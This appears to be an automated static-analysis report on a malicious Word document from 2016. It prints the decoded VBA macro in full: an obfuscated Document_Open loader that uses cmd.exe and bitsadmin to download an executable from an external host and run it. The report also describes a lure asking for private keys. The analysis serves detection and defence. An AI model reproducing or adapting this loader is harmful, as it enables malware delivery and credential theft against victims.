Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 1edc7fd8807baa97…

MALICIOUS

Office (OLE)

80.0 KB Created: 2016-09-06 00:01:00 Authoring application: Microsoft Office Word First seen: 2016-09-21
MD5: 0a91cb731b46de53a4efd689fad420a5 SHA-1: d1bacabcc95ac60ff4da7df15abb28cb37523214 SHA-256: 1edc7fd8807baa979f9f74c9f6ae1d30515695a5ff4ede3ff251b14a48befc88
210 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample contains obfuscated VBA macros designed to execute a command. The Document_Open macro is triggered upon opening, and it constructs and executes a command line using cmd.exe and bitsadmin to download a second-stage payload from 'http://siski.ml/pollyana.exe' and save it as '%appdata%\123.exe'. The document body itself is a lure, masquerading as a security evaluation to solicit sensitive information like private keys or recovery phrases, aligning with social engineering tactics.

Heuristics 6

  • Recovery secret / private key request critical SE_SECRET_RECOVERY_LURE
    Document requests recovery phrases, private keys, backup codes, or saved passwords. Requests for these secrets in a document are high-risk.
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
    Shell myfletch
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
    Matched line in script
    Shell myfletch
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Private Sub Document_Open()
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://www.w3.org/1999/02/22-rdf-syntax-ns# In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/mm/In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/sType/ResourceRef#In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1906 bytes
SHA-256: f086414f3a33c84f65472b0bc4a6a1ed00927bffe7be04a4200b2ad406fbc186
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Open()
MsgBox "This Document is confidential. Please do not copy or resend"
Dim myfletch, a1, a2, a3, a4 As String
a1 = Chr(99) + Chr(109) + Chr(100) + Chr(46) + Chr(101) + Chr(120) + Chr(101) + Chr(32) + Chr(47) + Chr(99)
a2 = Chr(32) + Chr(98) + Chr(105) + Chr(116) + Chr(115) + Chr(97) + Chr(100) + Chr(109) + Chr(105) + Chr(110) + Chr(32) + Chr(47) + Chr(116) + Chr(114) + Chr(97) + Chr(110) + Chr(115) + Chr(102) + Chr(101) + Chr(114) + Chr(32) + Chr(109) + Chr(121) + Chr(106) + Chr(111) + Chr(98) + Chr(32) + Chr(47) + Chr(100) + Chr(111) + Chr(119) + Chr(110) + Chr(108) + Chr(111) + Chr(97) + Chr(100) + Chr(32) + Chr(47) + Chr(112) + Chr(114) + Chr(105) + Chr(111) + Chr(114) + Chr(105) + Chr(116) + Chr(121) + Chr(32) + Chr(110) + Chr(111) + Chr(114) + Chr(109) + Chr(97) + Chr(108)
a3 = Chr(32) + Chr(104) + Chr(116) + Chr(116) + Chr(112) + Chr(58) + Chr(47) + Chr(47) + Chr(115) + Chr(105) + Chr(115) + Chr(107) + Chr(105) + Chr(46) + Chr(109) + Chr(108) + Chr(47) + Chr(112) + Chr(111) + Chr(108) + Chr(121) + Chr(97) + Chr(110) + Chr(97) + Chr(46) + Chr(101) + Chr(120) + Chr(101)
a4 = Chr(32) + Chr(37) + Chr(97) + Chr(112) + Chr(112) + Chr(100) + Chr(97) + Chr(116) + Chr(97) + Chr(37) + Chr(92) + Chr(49) + Chr(50) + Chr(51) + Chr(46) + Chr(101) + Chr(120) + Chr(101) + Chr(38) + Chr(115) + Chr(116) + Chr(97) + Chr(114) + Chr(116) + Chr(32) + Chr(37) + Chr(97) + Chr(112) + Chr(112) + Chr(100) + Chr(97) + Chr(116) + Chr(97) + Chr(37) + Chr(92) + Chr(49) + Chr(50) + Chr(51) + Chr(46) + Chr(101) + Chr(120) + Chr(101)
myfletch = a1 + a2 + a3 + a4
Shell myfletch
End Sub

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